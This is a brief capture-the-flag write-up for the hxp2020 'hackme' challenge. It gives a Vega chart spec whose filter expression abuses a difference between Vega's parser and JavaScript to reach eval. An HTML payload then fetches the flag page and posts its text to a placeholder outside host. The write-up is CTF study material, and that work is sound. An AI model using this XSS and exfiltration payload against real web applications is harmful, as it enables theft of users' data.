Writeup hxp2020 hackme

writeup.txt

### Pwn!
```vega
{
  "data": {
    "values": [{}]
  },
  "transform": [
    {"filter": "(0//1/)-'\\\n,eval(payload.dataset.x))))//'"}
  ],
  "mark": "bar"
}
```
<div id=payload data-x="x:fetch('/s/the-flag').then(_=>_.text()).then(_=>fetch('http://URL/,{method: 'post', withCredentials: false, mode: 'no-cors', body:_}))"></div>

Vega's expression parser divides 0 by a regexp, while JS sees a comment. We exploit the mismatch to XSS when the parsed expression is `eval`ed.